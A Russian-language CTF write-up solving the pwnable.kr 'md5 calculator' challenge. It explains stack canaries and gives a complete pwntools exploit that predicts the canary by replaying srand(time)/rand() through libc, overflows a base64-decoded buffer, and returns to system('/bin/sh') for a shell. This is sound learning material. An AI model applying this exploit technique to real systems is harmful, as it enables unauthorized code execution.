В данной статье решим 23-е задание с сайта pwnable.kr, узнаем, что такое stack canary и подключим libc в python.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Stack Canary
Канарейки (canary) — это известные значения, которые помещаются между буфером и управляющими данными в стеке для мониторинга переполнения буфера. После переполнения буфера, первыми подлежащими повреждению данными, как правило, будет канарейка. Таким образом, значение канарейки будет проверяться и в случае неудачной проверки сигнализировать о переполнении буфера. Существует три типа канареек:
- Terminator. Канарейки построены из нулевых терминаторов, CR, LF и -1. В результате злоумышленник должен написать нулевой символ перед записью адреса возврата, чтобы избежать изменения канарейки. Это предотвращает атаки с использованием strcpy() и других методов, которые возвращаются при копировании нулевого символа, в то время как нежелательным результатом является известность канарейки.
- Random. Генерируются случайным образом. Обычно случайная канарейка генерируется при инициализации программы и сохраняется в глобальной переменной. Эта переменная обычно дополняется неотображенными страницами, поэтому попытка ее чтения с использованием любых уловок, использующих ошибки для чтения из ОЗУ, вызывает ошибку сегментации, завершающую программу.
- Random XOR. Cлучайные канареи, которые ксорятся с контрольных данными. Таким образом, как только канарейка или контрольные данные будут засорены, значение канарейки будет неправильным. Имеют те же уязвимости, что и случайные канареек, за исключением того, что метод «чтения из стека» для получения канарейки немного сложнее. Атакующий должен получить канарейку, алгоритм и контрольные данные, чтобы заново сгенерировать исходную канарейку, необходимую для подделки защиты.
Решение задания md5 calculator
Продолжаем второй раздел. Скажу сразу, что сложнее первого и нам не предоставляется исходный код приложений. Не забываем про обсуждение здесь. Начнем.
Нажимаем на иконку с подписью md5 calculator. Нам дают адрес и порт для подключения и саму программу.
Скачиваем все что нам дают, проверяем бинарник.
Это 32-битный elf с установленной канарейкой и неисполняемым стеком. Декомпилируем в IDA Pro.
В программе встроена проверка капчи. Видим две функции интересные функции: my_hash() и process_hash(). Начнем с первой.
Давайте переопределим типы переменных и сделаем код более легким для анализа:
Таким образом функция вернет какое-то случайное число. При этом v3 — это данные по адресу EBP-0xC. Давайте глянем другую функцию.
Здесь переменная v4 получает значение по адресу EBP-0xC, а потом ксорится на выходе из функции с этим значением. Далее под переменную v3 выделяется 512 байт, считывается ввод с клавиатуры в переменную g_buf. После чего, строка из g_buf декодируется в Base64 и записывается в v3. От v3 вычисялется md5 хеш. Таким образом, ввод в g_buf и копирование в v3 не ограничиваются, поэтому есть переполнение буфера! Давайте глянем на стек.
Переменная v3 есть стековая канарейка, расположенная после буфера. Также в программе вызывается функция систем. Что же, составим шаблон для эксплоита.
from pwn import *
p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))
p.interactive()
Для начала разберемся в полезной нагрузкой. Мы должны вызвать функция систем с параметром “/bin/sh”. Но так как стек неисполняемый, мы вызовем функцию систем, передав управление на ее адрес в программе, а в качестве параметра — адрес на строку “/bin/sh”, которую мы запишем в g_buf.
Таким образом (смотрим по стеку): Нужно записать 512 байт мусора, потом 4 байта значение канарейки, потом еще 12 байт мусора. Теперь для ret мы должны указать адрес функции system (4 байта), адрес строки “/bin/sh”(4 байта), и сама строка “/bin/sh”.
Теперь найдем неизвестные: адрес вызова system.
Это 0x8049187. И адрес строки “bin/sh”. Для этого нам нужно к адресу g_buf прибавить количество байт до строки “/bin/sh” с учетом кодировки base64 — это 4/3 от исходного значения.
То есть адрес строки: 0x804b0e0 + (512+4+12+4+4+1)*4/3 = 0x804b3ac. Составим полезную нагрузку.
payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187)
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/shx00"
Осталось найти канарейку. Как мы выяснили, она суммируется со случайными значениями в функции my_hash(), что в результате дает нам канарейку. А в качестве семени для функции rand используется srand(time(0)). То есть если сы повторим процедуру в своему експлоите, а потом вычтем из присланного куки сгенерированное значение, мы найдем канарейку. Вызываем rand() из libc в python.
from ctypes import *
import os
import time
libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]
canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff
Все. Полный код выглядит так.
from pwn import *
from ctypes import *
import os
import time
libc=CDLL('libc.so.6')
t = int(time.time())
libc.srand(t)
n = [libc.rand() for _ in range(8)]
p = remote('127.0.0.1', 9002)
p.recvuntil('captcha : ')
captcha = int(p.recv())
p.sendline(str(captcha))
canary = captcha - n[1] - n[5] - n[2] + n[3] - n[7] - n[4] + n[6]
canary &= 0xffffffff
payload = 'A' * 512
payload += p32(canary)
payload += 'A' * 12
payload += p32(0x8049187)
payload += p32(0x804b3ac)
payload = b64e(payload)
payload += "/bin/shx00"
p.sendline(payload)
p.interactive()
Запускал несколько раз и не работало, потом понял, что из-за скорости интернета и разницы времени не совпадает результат rand(). Запустил на сервере.
Получаем искомый флаг. Вы можете присоединиться к нам в Telegram.
Автор: RalfHacker